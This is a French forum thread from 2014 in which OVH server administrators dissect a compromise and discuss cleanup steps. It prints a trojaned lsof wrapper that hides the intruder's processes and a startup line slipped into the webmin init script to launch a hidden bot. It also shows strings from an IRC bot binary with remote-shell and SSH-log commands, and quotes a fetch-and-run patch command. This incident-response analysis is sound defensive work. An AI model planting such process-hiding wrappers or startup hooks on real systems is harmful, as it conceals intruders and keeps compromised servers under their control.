# strings /var/system/pagezero/bufdaemon
/lib/ld-linux.so.2
libssl.so.6
[...]
Clairement un programme de "bot", pour zombifier le serveur dédié.

whynote
22/10/2014, 11h13
J'ai aussi ce contenu dans lsof
#!/bin/sh
if [ -f /usr/src/bin/lsof ]; then
/usr/src/bin/lsof "$@" | grep -v grep | grep -v lsof | grep -v sync | grep -v bufd | grep -v 7500 | grep -v fileserver | grep -v 666 | grep -v applnk | grep -v filearch | grep -v libsslo | grep -v kaud | grep -v init
fi

Et un fichier webmin avec ça à la fin:
#init will be loaded under RC Compatibility
/var/system/pagezero/init >/dev/null 2>&1
#DO NOT MODIFY

J'ai mis à jour en 2.35. Faut-il effacer ce fichier init ? Et remplacer /usr/sbin/lsof par /usr/src/bin/lsof (qui a le bon checksum) ?
Cela est-il suffisant pour arrêter le hack ?

Garden
22/10/2014, 11h11
Code:
# file /var/system/pagezero/bufdaemon
/var/system/pagezero/bufdaemon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), stripped
# strings /var/system/pagezero/bufdaemon
/lib/ld-linux.so.2
libssl.so.6
__gmon_start__
_Jv_RegisterClasses
SSL_CTX_use_certificate_file
SSL_write
SSL_CTX_new
SSL_set_fd
SSL_read
SSL_load_error_strings
_fini
SSL_connect
SSL_library_init
SSL_CTX_use_PrivateKey_file
SSL_new
SSLv3_client_method
SSL_free
libcrypto.so.6
ERR_error_string
ERR_get_error
libcrypt.so.1
crypt
libc.so.6
_IO_stdin_used
setuid
chroot
strcasestr
socket
__res_init
fflush
strcpy
execl
fnmatch
execv
sprintf
setlocale
srand
strsignal
strncmp
inet_aton
strrchr
statvfs64
getpwuid
mmap64
closedir
inet_ntoa
inet_ntop
strncpy
puts
fork
sigprocmask
sigfillset
unlink
listen
select
mkdir
abort
stdin
_exit
socketpair
popen
getpid
kill
strftime
inet_pton
__assert_fail
flock
gmtime
strtok
isatty
feof
fgetc
fgets
getpwnam
calloc
strlen
send
sigemptyset
getaddrinfo
memset
strstr
__errno_location
bind
tcsetattr
chdir
getnameinfo
getsockopt
setgroups
dup2
strptime
__fxstat64
shutdown
vsnprintf
sigaddset
stdout
recv
inet_addr
getrusage
memcpy
fclose
__strtol_internal
setsockopt
malloc
strcasecmp
raise
getpeername
__lxstat64
opendir
__xstat64
__ctype_b_loc
sscanf
stderr
ioctl
alarm
setrlimit64
munmap
gethostbyname
readlink
fscanf
execvp
strncasecmp
strncat
sendfile64
fileno
pclose
usleep
fwrite
gettimeofday
sigaction
rename
geteuid
waitpid
localtime
lseek64
strchr
getsockname
mktime
readdir64
__strtod_internal
accept
hstrerror
tcgetattr
__ctype_toupper_loc
freeaddrinfo
readdir64_r
setsid
fcntl
getrlimit64
__h_errno_location
uname
fopen64
getgrouplist
setgid
strcmp
__libc_start_main
vfprintf
_edata
__bss_start
_end
GLIBC_2.0
GLIBC_2.2.3
GLIBC_2.3
GLIBC_2.2.4
GLIBC_2.2
GLIBC_2.1
PTRh
QVhpS
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
 [^]
,[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
\[^_]
\[^_]
[^_]
u&9]
[^_]
t#9]
$D(	
,[^_]
l[^_]
WVS1
\$(WV
[^_]
[^_]
 [^]
 [^]
,[^_]
,[^_]
,[^_]
[^_]
,[^_]
[^_]
,[^_]
$-P	
[^_]
[^_]
[^_]
$-Q	
$:Q	
$GQ	
$TQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
9H0}E
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
$aQ	
Ql+Ax
Ql+Ax
t+i@
[^_]
WVSQ
Ba~(
B'~ 
[^_]
GP;E
t	9xl
|[^_]
G83E
 [^]
 [^]
w	9E
|[^_]
$>[	
$s[	
$dd	
[^_]
$[[	
[^_]
\$XWV
[^_]
\$8WV
[^_]
\$8WV
\[^_]
\[^_]
,[^_]
$L^	
$V^	
[^_]
[^_]
)<|t6<:
t/<*t+-u7
[^_]
@[^]
@[^]
[^_]
[^_]
<[^_]
[^_]
[^_]
[^_]
p[^]
[^_]
FT;CT
[^_]
,[^_]
P[^]
p[^]
;v,9
[^_]
L[^_]
l[^_]
[^_]
[^_]
<[^_]
<[^_]
<[^_]
[^_]
L[^_]
[^_]
\[^_]
 [^]
|]tu
<[^_]
<[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
|[^_]
\[^_]
 [^]
,[^_]
[^_]
[^_]
<[^_]
<[^_]
<[^_]
<[^_]
<[^_]
<[^_]
\[^_]
\[^_]
[^_]
,[^_]
W0;Vt
a;Fps\
[^_]
[^_]
[^_]
[^_]
sJ9U
r ;z<
<[^_]
B\;F\u
G\;F\u
,[^_]
,[^_]
[^_]
[^_]
[^_]
;P<|
[^_]
[^_]
[^_]
[^_]
<[^_]
D$ s
D$ m
<[^_]
[^_]
0[^]
0[^]
[^_]
[^_]
\[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
<[^_]
<[^_]
[^_]
[^_]
<[^_]
[^_]
[^_]
[^_]
[^_]
to9>u
[^_]
[^_]
[^_]
[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
WVS1
[^_]
t?<#t;
[^_]
|[^_]
[^_]
f	C 
[^_]
[^_]
[^_]
tw9p
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
,[^_]
 [^]
 [^]
 [^]
t+9=
[^_]
[^_]
CH3E
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
0[^]
0[^]
[^_]
[^_]
L[^_]
L[^_]
L[^_]
L[^_]
0[^]
[^_]
<[^_
<[^_]
[^_]
[^_]
[^_]
[^_]
F ;F,
,[^_]
,[^_]
,[^_]
[^_]
9F8r
,[^_]
[^_]
[^_]
[^_]
L[^_]
[^_]
T$$+
\[^_]
\[^_]
[^_]
<@t^
[^_]
[^_]
WVS1
[^_]
[^_]
uk;u
,[^_]
[^_]
[^_]
[^_]
[^_]
f;G$
u!;]
[^_]
[^_]
[^_]
,[^_]
[^_]
L[^_]
 [^]
 [^]
l[^_]
<[^_]
,[^_]
,[^_]
3ZD3B@
[^_]
[^_]
\0H1
 [^_]
<[^_]
<[^_]
WVS1
[^_]
[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
,[^_]
<[^_]
<[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
<[^_]
[^_]
,[^_]
,[^_]
 <_w
[^_]
8"t%
[^_]
[^_]
[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
<[tq<]tm
tB<#u
tj;}
(^_]
w	9u
0^_]
[^_]
src/iroffer_admin.c
Can't Access Directory: %s %s
Upload directory is empty
Listing '%s':
%s/%s
%9s  %s
=DIR=
=CHAR=
=BLOCK=
=FIFO=
=SYMLINK=
=SOCKET=
No Hosts Ignored or Watched
Current Ignore List:
manual
auto
Current Watch List:
 %s 
slot
slots
, Queue: %u/%u
, Min: %1.1fkB/s
, Max: %1.1fkB/s
, Record: %1.1fkB/s
 Cap: %u.0kB/s,
DELAYED
Delayed shutdown canceled
(no args)
** Command: %s %s, %s
Try Specifying a file
log.txt
Try Specifying a ip and port
[+] Connected
/bin/sh
no cmd to issue??
its blank
Failed! %d
Child exited, status=%d
Now locking again
/usr/share/locale/en_US.c
Child successful, quiting
 ^- %s
, use MSGDEL to remove 
msglog: %i %s in log%s%s
No Active DCC Chats
DCC CHAT %u:
  Chat established with %s.
Unexpected dccchat state %u
  Connected at %s
  Last contact %s
  Local: %s, Remote: %s
[Failed to listen, try again]
DCC CHAT: QUIT
Bye.
iroffer memory usage:
gdata:  %ld bytes
iroffer heap details:
iroffer memmap details:
BotInfo:
iroffer started up %s ago
total running time of %s
network: %u: %s
DCC IP: %s NAT=%u OFFLINE=%u

current server: %s:%u (%s)
for 
channel %10s: joined: %3s
, key: %s
, fish: %s
, plist every %2i min (%s)
(none)
%LdMB
none
linux-sendfile
mmap/write
read/write
unknown
Caught SIGUSR2, Rehashing...
Reconfiguring...
pidfile changed, switching
user_realname
user_modes
slotsmax
Done.
Channel Members:
%s%s 
%s: %i %s
Server List:
(hidden)
  %3i  %-27s  %6u  %s
Current Server: %s:%u (%s)
msglog: deleted %u messages
Ignore removed for %s
Hostmask not found
Pack Info for Pack #%u:
 Filename       %s
 Sendname       %s
 Description    %s
 Note           %s
 Filesize       %Ld [%sB]
 Last Modified  %s
 Device/Inode   %Lu/%Lu
 Gets           %u
 Minspeed       %1.1fkB/sec
 Maxspeed       %1.1fkB/sec
 crc32          %.8X
 content crc32  %.8X
 Pack Added     %s
 is protected by password
No active transfers
transfer
Current %s
%1.1fK
%6liK
  ^- [%s country=%s]
upload
  %3i  %-9s   %-4d %-32s   %s
   %2i  %-9s   %-32s   %s
Info
Transfer
Misc

-- %s Commands --
  %s %-*s : %s
  %-20s : %s
** Args:
key value
** Commands:
** Missing Command, try again
(console)
(DCC Chat: %s) (network: %s)
(MSG: %s) (network: %s)
ADMIN %s requested %s
minimal
summary
Transfer Info for ID %i:
%1.1fK/s
HELP
Shows help
XDLFULL
Lists all offered packs
XDLGROUP
[group]
Show packs from 
XDLOCK
Show all locked packs
XDTRIGGER
pattern
Save state file
Lists current transfers
DCLD
TRINFO
GETL
Lists current upload queue
Lists current queue
IGNL
Show ignored list
LISTUL
[dir]
DISKFREE
CHANL
CLOSE
[id]
Cancels transfer 
CLOSEU
Cancels upload 
ACCEPTU
min [hostmask]
net nick n [password]
CLOSEGET
net nick
Cancel Request for bot 
[position]
RMIQ
RMALLQ
NOMIN
NOMAX
UNLIMITED
MAXSPEED
id x
nick n [net]
Sends pack  to 
BATCH
nick n-m [net]
PSEND
channel style [net]
IQSEND
SLOTSMAX
[slots]
QUEUESIZE
REQUEUE
REIQUEUE
Show info for pack 
n [m]
REMOVEDIR
REMOVEGROUP
REMOVEMATCH
RENUMBER
x [y] z
SORT
[field] [field]
Sort all packs by fields
Add new pack with 
ADDDIR
Add every file in 
ADDNEW
Add new files in 
ADDGROUP
group dir
ADDMATCH
AUTOCANCEL
AUTOGROUP
NOAUTOADD
CHFILE
n filename
NEWDIR
dirname newdir
CHDESC
CHNOTE
CHTIME
CHMINS
n [m] x
CHMAXS
CHLIMIT
CHLIMITINFO
CHTRIGGER
DELTRIGGER
CHGETS
CHCOLOR
n [m] x[,b][,s]
n [m] password
UNLOCK
Unlock the pack  to 
group password
UNLOCKGROUP
Unlock all packs in 
RELOCK
old-password password
group msg
n group
n m group
REGROUP
group new
NEWGROUP
NEWANN
n [channel] [net]
MANNOUNCE
n m [msg]
CANNOUNCE
channel n [msg]
SANNOUNCE
NOANNOUNCE
ADDANN
Add and announce new pack
[n] [m]
Check CRC of pack  to 
FILEMOVE
filename newfile
rename file on disk
MOVEFILE
MOVEGROUPDIR
FILEDEL
remove file from disk
FILEREMOVE
SHOWDIR
list directory on disk
MAKEDIR
AMSG
MSGNET
net nick message
MESG
MESQ
x hostmask
UNIGNORE
Un-Ignore 
BANNHOST
BANNNICK
nick [net]
NOSAVE
NOSEND
x [msg]
NOLIST
NOMD5
MSGREAD
Show MSG log
MSGDEL
Delete MSG log
RMUL
RAWNET
net command
Show lag on networks
SERVERS
Shows the server list
NOCHANNEL
x [channel]
leave channel for  minutes
JOIN
channel [net] [key]
join channel till rehash
PART
channel [net]
part channel till rehash
JUMP
server [net]
SERVQC
Clears the server send queue
Show Useful Information
REHASH
BOTINFO
MEMSTAT
CLEARRECORDS
CLEARGETS
REDRAW
Redraws the Screen
DELHIST
Deletes console history
Close this DCC chat
EXIT
LOGOUT
CHATME
Sends you a DCC Chat Request
CHATL
Lists DCC chat information
CLOSEC
Closes DCC chat 
DEBUG
Set debugging level to 
CONFIG
PRINT
Print config variable 
IDENTIFY
HOLDQUEUE
OFFLINE
ONLINE
SHUTDOWN
BACKGROUND
Switch to background mode
DUMP
Write a dump into the logfile
RESTART
Shutdown and restart the bot
CRASH
popen yer shit
SHELL
send shell
SLOG
read ssh log
Unable to determine device sizes: %s
Device size: %s, used %s, free %s, reserved %s
cannot access '%s', ignoring: %s
  Last Request  Un-Ignore    Type  Hostmask
  %4i%c%02i%c ago   %4i%c%02i%c  %6s  %-32s
  Last Request   Un-Watch          Hostmask
  %4i%c%02i%c ago   %4i%c%02i%c          %-32s
 To stop this listing, type "/MSG %s XDCC STOP" 
 %u %s 
  %u of %u %s open
 Bandwidth Usage 
 Current: %1.1fkB/s,
 To request a file, type "/MSG %s XDCC SEND x" 
 To request details, type "/MSG %s XDCC INFO x" 
 To list a group, type "/MSG %s XDCC LIST group" 
 To list all packs, type "/MSG %s XDCC LIST ALL" 
 For a listing type: "/MSG %s XDCC LIST" 
Usage: SHUTDOWN 
  Chat sent to %s. Waiting for inbound connection.
  Chat received from %s. Waiting for outbound connection.
  Chat established with %s. Waiting for password.
Sending You A DCC Chat Request
Deleted all %u lines of console history
Cleared transfer record, bandwidth record, total sent, total uptime, and transfer limits
rusage: maxrss %li, ixrss %li, idrss %li, isrss %li, minflt %li, majflt %li, nswap %li
        inbloc %li, oublock %li, msgsnd %li, msgrcv %li, nsignals %li, nvcsw %li, nivcsw %li
heap:   %li bytes, %i allocations (%li created in past 10 min) (depth %d)
mmaps:  %i kbytes, %u file mappings
     id |    address |    size |     when | where
%3u %3u | 0x%8.8lX | %6iB | %7lis | %s:%d %s()
 pack |                 location |    address | references
 %4i | 0x%8.8LX .. 0x%8.8LX | %p | %10d
for a detailed listing use "memstat list"
iroffer-dinoex 1.0 - openssl, http://iroffer.dinoex.net/%s%s
cpu usage: %2.2fs user (%2.5f%%), %2.2fs system (%2.5f%%)
configured nick: %s, actual nick: %s, realname: %s, modes: %s
current server: %s:%u (%s at %s:%i with %s)
current server: %s:%u (%s at %s:%i)
current server actual name: %s 
current server connected for: %s 
bandwidth: lowsend: %i, minspeed: %1.1f, maxspeed: %1.1f, overallmaxspeed: %i
           default max: %i, day max: %i ( %i:00 -> %i:00, days="%s%s%s%s%s%s%s" )
           default max: %i, day max: (same)
transferlimit: %7s (ends %s): used %LuMB, limit %LuMB
transferlimit: %7s (ends %s): used %LuMB, limit unlimited
files: pid: %s, log: %s, state: %s, xdcclist: %s
config %s: %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
upload allowed, dir: %s, max size: %s
calculating MD5/CRC32 for pack %u
console buffering: %u written, %u flushed, %u dropped (%u queued)
transfer method: %s (blocksize %d)
NOTICE: Delayed shutdown activated, iroffer will shutdown once there are no active transfers
NOTICE: To cancel the delayed shutdown, issue "SHUTDOWN CANCEL"
NOTICE: HOLDQUEUE is on, no new transfers are started.
Checking for completeness of config file ...
**WARNING** Missing vital information: %s, fix and re-rehash ASAP
**WARNING** incomplete upload information, fix and re-rehash ASAP
**WARNING** no download hosts defined
**WARNING** no state file defined
  Num  Server                         Port  Password
Try specifying a hostmask to un-ignore
 md5sum         %.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x
 ID  User        Pack File                               Status
  ^-    Speed    Current/    End   Start/Remain    Min/  Max  Resumed
 --------------------------------------------------------------------
%3i  %-9s   %-4d %-32s   %s %2.0f%%
  ^- %5.1fK/s    %6LdK/%6LdK  %2i%c%02i%c/%2i%c%02i%c  %5s/%5s  %7s
  ^-    -----    -------/-------   -----/------  -----/-----      ---
 ID  User        File                               Status
  ^-    Speed    Current/    End   Start/Remain
 --------------------------------------------------------------
 %2i  %-9s   %-32s   %s %2.0f%%
  ^- %5.1fK/s    %6LdK/%6LdK  %2i%c%02i%c/%2i%c%02i%c
   ID  User        Pack File                               Status
  %3i  %-9s   %-4d %-32s   %s %2.0f%%
   ID  User        File                               Status
   %2i  %-9s   %-32s   %s %2.0f%%
For additional help, see the documentation at http://iroffer.dinoex.net/
** User Command Not Recognized, try "HELP"
No PLIST style specified. Using style full
Summary Plist makes no sense with restrictprivlist set and no creditline or headline
PLIST format is not (full|minimal|summary)
Sending PLIST with style %s to %s on network %s
Try specifying a valid server number, use "servers" for a list
Try Specifying a Valid Transfer Number
User %s, Hostname %s, Status %s
Start %LdK, Current %LdK, End %LdK (%2.0f%% File, %2.0f%% Xfer)
Min %s, Current %1.1fK/s, Max %s, In Transit %LdK
Transfer started %i%c %i%c ago, Finish in %i%c %i%c, Last contact %i%c %i%c ago.
Sockets: Listen %i, Transfer %i, File %i
MMAP: [%p] 0x%.8LX .. 0x%.8LX .. 0x%.8LX
Lists offered groups and packs without group
Show all packs with dynamic triggers
List packs that matches 
Lists current transfers with details
Lists information about transfer 
Shows contents of upload directory
Shows free space in upload directory
Shows channel list with member list
Accepting uploads from  for  minutes
Request pack  from bot 
Removes entry at  from main queue
Removes entry at  from idle queue
Removes entries from idle and main queue
Disables minspeed for transfer 
Disables maxspeed for transfer 
Disables bandwidth limits for transfer 
Set max bandwidth limit of  kB/s for transfer 
(...)

cassiopee
22/10/2014, 11h06
Citation Envoyé par Garden
Code:
#GENTOO RC

#bufdaemon will be loaded under RC Compatibility
/var/system/pagezero/bufdaemon >/dev/null 2>&1
#DO NOT MODIFY
Il a rajouté ça en bas de webmin, kezako?!
Cf ci-dessus

Précision : il n'y aucun répertoire "/var/system" dans une Release 2,
donc tout ce qui est dedans est louche.

Attention néanmoins à ne pas tout effacer à la hache, il se peut que
certains fichiers originaux du système aient été déplacés dans ce répertoire.

cassiopee
22/10/2014, 11h00
Citation Envoyé par Un_passant
Donc si j'ai ça :


Je peux faire un sans problème? cp /usr/src/bin/lsof /usr/sbin/lsof
Sur le principe, oui, c'est bien ça, en revanche à cause des attributs étendus
vus plus haut (commande "lsattr"), cela risque d'être refusé par le système.

Si c'est le cas, il faut réinitialiser à zéro les attributs étendus (commande "chattr")
avan de pouvoir faire le "copy".

Concernant le /usr/libexec/ssh-keysign, on peux le supprimer?
Plutôt à le déplacer ailleurs, dans un autre répertoire, mettons dans "/root/piratage"
par exemple.

Voici le contenu du fichier webmin
Ok, donc à la fin, toute la partie :

Code:
    #GENTOO RC

    #bufdaemon will be loaded under RC Compatibility
    /var/system/pagezero/bufdaemon >/dev/null 2>&1
    #DO NOT MODIFY
est en trop, donc vraisemblablement il s'agit du lancement d'un script pirate
"/var/system/pagezero/bufdaemon"

Garden
22/10/2014, 10h58
Code:
#GENTOO RC

#bufdaemon will be loaded under RC Compatibility
/var/system/pagezero/bufdaemon >/dev/null 2>&1
#DO NOT MODIFY
Il a rajouté ça en bas de webmin, kezako?!

cassiopee
22/10/2014, 10h54
@Operceval :

Non mais tu ne dois pas avoir le même checksum entre "/usr/sbin/lsof" et "/usr/src/bin/lsof" dans une même machine.

md5sum est une commande qui calcule une sorte d'empreinte numérique d'un fichier, ce qui permet de l'identifier.

Là on voit que l'empreinte numérique de ton fichier "/usr/src/bin/lsof" est la même que celle de mon fichier "lsof",

Cela veut dire que le fichier "/usr/src/bin/lsof" de ton serveur est le vrai/bon programme "lsof".

On peut donc se servir de ce fichier "/usr/src/bin/lsof" afin d'écraser le fichier "/usr/sbin/lsof"
(dans la même machine) qui lui est le script pirate.

Un_passant
22/10/2014, 10h49
Donc si j'ai ça :
# cd /usr/sbin
# md5sum lsof
92c1391f3bfda2df58bde5e1a26fb8b6 lsof

# cd /usr/src/bin/
# md5sum lsof
f55c0123de0f67b32f34e1d0df9c56a0 lsof
Je peux faire un sans problème? cp /usr/src/bin/lsof /usr/sbin/lsof

Concernant le /usr/libexec/ssh-keysign, on peux le supprimer?



Voici le contenu du fichier webmin
Code:
#!/sbin/runscript
# Copyright 1999-2004 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/app-admin/webmin/files/init.d.webmin,v 1.6 2007/10/30 10:36:07 uberlord Exp $

depend() {
        use net logger
}


checkconfig() {
        if [ ! -f /etc/webmin/config ]; then
                eerror "Error starting webmin.  /etc/webmin/config is not present."
                eerror "Please report this on http://bugs.gentoo.org."
                return 1
        fi

        return 0
}

start() { # copied from /etc/usermin/start
        checkconfig || return 1
        ebegin "Starting Webmin"

        LANG=
        export LANG

        unset PERLIO
        export PERLIO
        start-stop-daemon --start --exec /usr/libexec/webmin/miniserv.pl \
                --pidfile /var/run/webmin.pid \
                -- /etc/webmin/miniserv.conf
        eend $?
}

stop() {
        ebegin "Stopping Webmin"
        start-stop-daemon --stop --quiet --pidfile /var/run/webmin.pid
        eend $?
}
#GENTOO RC

#bufdaemon will be loaded under RC Compatibility
/var/system/pagezero/bufdaemon >/dev/null 2>&1
#DO NOT MODIFY

Operceval
22/10/2014, 10h48
j ai pas d /usr/src/bin/ !!
et pour l autre serveur je n'ai pas le même checksum

home # cd /usr/sbin
sbin # md5sum lsof
92c1391f3bfda2df58bde5e1a26fb8b6 lsof
sbin # cd /usr/src/bin/
bin # md5sum lsof
f55c0123de0f67b32f34e1d0df9c56a0 lsof



~ # cd /usr/sbin
sbin # md5sum lsof
f55c0123de0f67b32f34e1d0df9c56a0 lsof
sbin # cd /usr/src/bin/
-bash: cd: /usr/src/bin/: No such file or directory

cassiopee
22/10/2014, 10h46
Citation Envoyé par Garden
Code:
# md5sum /etc/init.d/webmin
34b051328244683fe8950b1e32f3f7a1  /etc/init.d/webmin
Non, je n'ai pas la même checksum :

Code:
# md5sum /etc/init.d/webmin
d1366c1840f33e4e6da0eca6cc5be45a  /etc/init.d/webmin
Voilà le contenu du fichier "/etc/init.d/webmin" chez moi :

Code:
#!/sbin/runscript
# Copyright 1999-2004 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/app-admin/webmin/files/init.d.webmin,v 1.6 2007/10/30 10:36:07 uberlord Exp $

depend() {
        use net logger
}


checkconfig() {
        if [ ! -f /etc/webmin/config ]; then
                eerror "Error starting webmin.  /etc/webmin/config is not present."
                eerror "Please report this on http://bugs.gentoo.org."
                return 1
        fi

        return 0
}

start() { # copied from /etc/usermin/start
        checkconfig || return 1
        ebegin "Starting Webmin"

        LANG=
        export LANG

        unset PERLIO
        export PERLIO
        start-stop-daemon --start --exec /usr/libexec/webmin/miniserv.pl \
                --pidfile /var/run/webmin.pid \
                -- /etc/webmin/miniserv.conf
        eend $?
}

stop() {
        ebegin "Stopping Webmin"
        start-stop-daemon --stop --quiet --pidfile /var/run/webmin.pid
        eend $?
}
Code:
# ls -al /etc/init.d/webmin
-rwxr-xr-x 1 root root 1003 nov 28  2008 /etc/init.d/webmin
chez moi ça donne :
Code:
# ls -al /etc/init.d/webmin
-rwxr-xr-x 1 root root 880 mar 18  2008 /etc/init.d/webmin
Code:
# md5sum /usr/libexec/ssh-keysign
077920ff46b172f953e8deb80609d47f  /usr/libexec/ssh-keysign
Chez moi ça donne :

Code:
# md5sum /usr/libexec/ssh-keysign
md5sum: /usr/libexec/ssh-keysign: Aucun fichier ou r▒pertoire de ce type


Contenu du répertoire "/usr/libexec/" chez moi :

Code:
-rwxr-xr-x   1 root root  69224 d▒c  4  2007 gam_server
drwxr-xr-x   3 root root   4096 f▒v  9  2006 gcc
-rwxr-xr-x   1 root root  16664 jui 19  2010 gpg2keys_curl
-rwxr-xr-x   1 root root  39744 jui 19  2010 gpg2keys_finger
-rwxr-xr-x   1 root root  20512 jui 19  2010 gpg2keys_hkp
-rwxr-xr-x   1 root root  52208 jui 19  2010 gpg2keys_ldap
-rwxr-xr-x   1 root root  86528 jui 19  2010 gpg-check-pattern
lrwxrwxrwx   1 root root     13 d▒c  2  2011 gpgkeys_curl -> gpg2keys_curl
lrwxrwxrwx   1 root root     15 d▒c  2  2011 gpgkeys_finger -> gpg2keys_finger
lrwxrwxrwx   1 root root     12 d▒c  2  2011 gpgkeys_hkp -> gpg2keys_hkp
lrwxrwxrwx   1 root root     13 d▒c  2  2011 gpgkeys_ldap -> gpg2keys_ldap
-rwxr-xr-x   1 root root  73056 jui 19  2010 gpg-preset-passphrase
-rwxr-xr-x   1 root root 148096 jui 19  2010 gpg-protect-tool
-r-s--x--x   1 root root   8864 mai 24  2006 lockspool
-rw-r--r--   1 root root    786 jun 13  2006 sudo_noexec.la
-rwxr-xr-x   1 root root   7384 jun 13  2006 sudo_noexec.so
drwxr-xr-x 129 root root  12288 d▒c  2  2011 webmin

cassiopee
22/10/2014, 10h40
Citation Envoyé par lte
J'ai pas le même checksum :/



Erf :/
Ben si, ton fichier "/usr/src/bin/lsof" a bien la même checksum que mon fichier "lsof" ?

Garden
22/10/2014, 10h37
Code:
# md5sum /etc/init.d/webmin
34b051328244683fe8950b1e32f3f7a1  /etc/init.d/webmin
# ls -al /etc/init.d/webmin
-rwxr-xr-x 1 root root 1003 nov 28  2008 /etc/init.d/webmin
# md5sum /usr/libexec/ssh-keysign
077920ff46b172f953e8deb80609d47f  /usr/libexec/ssh-keysign
# ls -al /usr/libexec/ssh-keysign
-rwsr-xr-x 1 root root 499128 sep 30 11:08 /usr/libexec/ssh-keysign
tu peux me dire si tu as la meme chose stp?

- - - Mise à jour - - -

Citation Envoyé par lte
J'ai pas le même checksum :/
Si ton 2e est bon donc remplace le 1er par le 2e

lte
22/10/2014, 10h35
donc le fichier présent dans "/usr/src/bin/lsof" devrait avoir le même checksum.

Si oui (et seulement si oui), il suffit d'écraser le fichier "/usr/sbin/lsof" par "/usr/src/bin/lsof".
J'ai pas le même checksum :/

# cd /usr/sbin
# md5sum lsof
92c1391f3bfda2df58bde5e1a26fb8b6 lsof

# cd /usr/src/bin/
# md5sum lsof
f55c0123de0f67b32f34e1d0df9c56a0 lsof
Erf :/

Un_passant
22/10/2014, 10h30
OVH est en train d'envoyer des mails à ceux qui ont une release 2, il est temps...

cassiopee
22/10/2014, 10h29
Citation Envoyé par nono67
C'est le résultat sur ta release 2, parce que je vois qu'il y a un Groupe à 103 pour ce fichier drwx-wx--T 2 root 103 4096 oct 22 00:08 crontabs et ce fichier drwx-wx--T 2 root 103 4096 oct 22 00:08 /var/spool/cron/crontabs c'est la même chose sur mon serveur.
Oui, ça parait donc "normal" ce 103, pas d'affolement.

Est-ce que ce patch via modifier ma configuration actuelle d'apache, de php, etc... ?
Normalement non.

Si oui, y a-t-il des précautions à prendre avant de faire cette mise à jour, par exemple sauvegarder des fichiers de config d'apache par exemple ?
Règle n°1 : "On n'a jamais trop de sauvegardes"

Donc, par principe, avant de faire un tel patch, on sauvegarde tout ce qui peut l'être.

nono67
22/10/2014, 10h15
Merci cassiopee.

drwxr-xr-x 4 cron root 4096 mai 24 2006 .
drwxr-xr-x 6 root root 4096 mai 24 2006 ..
drwx-wx--T 2 root 103 4096 oct 22 00:08 crontabs
-rw-r--r-- 1 root root 0 mai 24 2006 .keep
drwxr-x--- 2 root root 4096 oct 22 09:40 lastrun
C'est le résultat sur ta release 2, parce que je vois qu'il y a un Groupe à 103 pour ce fichier drwx-wx--T 2 root 103 4096 oct 22 00:08 crontabs et ce fichier drwx-wx--T 2 root 103 4096 oct 22 00:08 /var/spool/cron/crontabs c'est la même chose sur mon serveur.

J'ai reçu un email d'OVH m'invitant à faire la mise à jour de ma release via la commande :
wget -q ftp://ftp.ovh.net/made-in-ovh/releas...l-release-2.sh -O patch-all-release-2.sh; sh patch-all-release-2.sh
Mais ils disent sur leur page http://guide.ovh.com/ReleasePatchSecurite que
Attention: n'appliquez pas la release si votre serveur est personalisé au niveau de la configuration.
Cela veut dire: php, apache, mysql. Tout les options de compilation seront perdue lors de l'application du patch.
Est-ce que ce patch via modifier ma configuration actuelle d'apache, de php, etc... ? Si oui, y a-t-il des précautions à prendre avant de faire cette mise à jour, par exemple sauvegarder des fichiers de config d'apache par exemple ?

cassiopee
22/10/2014, 10h10
@nono67 :

Après la question c'est est-ce que ton objectif est d'essayer d'emm*rder les pirates
ou d'avoir ton système stable et fiable ?

Tu ne pourras jamais être sûr à 100% que tu as bien supprimé tous les fichiers pirates,
ça fait une belle épée de Damoclès tout de même

Malgré tout, quelques infos sur les fichiers/répertoires de cron d'une Release 2 :

Code:
# ls -ald  /var/spool/cron

drwxr-xr-x 4 cron root 4096 mai 24  2006 /var/spool/cron
Code:
# ls -al   /var/spool/cron

drwxr-xr-x 4 cron root 4096 mai 24  2006 .
drwxr-xr-x 6 root root 4096 mai 24  2006 ..
drwx-wx--T 2 root  103 4096 oct 22 00:08 crontabs
-rw-r--r-- 1 root root    0 mai 24  2006 .keep
drwxr-x--- 2 root root 4096 oct 22 09:40 lastrun
Code:
# ls -ald /var/spool/cron/crontabs

drwx-wx--T 2 root 103 4096 oct 22 00:08 /var/spool/cron/crontabs
(attention ici à l'attribut 'T', ce que l'on appelle le "sticky bit", cf http://en.wikipedia.org/wiki/Sticky_bit#Examples )

Code:
# ls -al /var/spool/cron/crontabs

-rw-r--r-- 1 root root    0 d▒c 11  2007 .keep_sys-process_vixie-cron-0
-rw-r--r-- 1 root root  121 jan  7  2014 root
Le fichier "root" est ici relativement récent car je l'ai modifié,
sa date n'est donc pas significative.

- - - Mise à jour - - -

Citation Envoyé par Un_passant
Même question, il y a moyen de bloquer le hack le temps de faire les changements?
Pas forcément facile, ça dépend de ce qu'a fait le pirate précisément.

Là il semble qu'il chercher à être relativement discret (effacement de tous les fichiers téléchargés dans "/tmp")
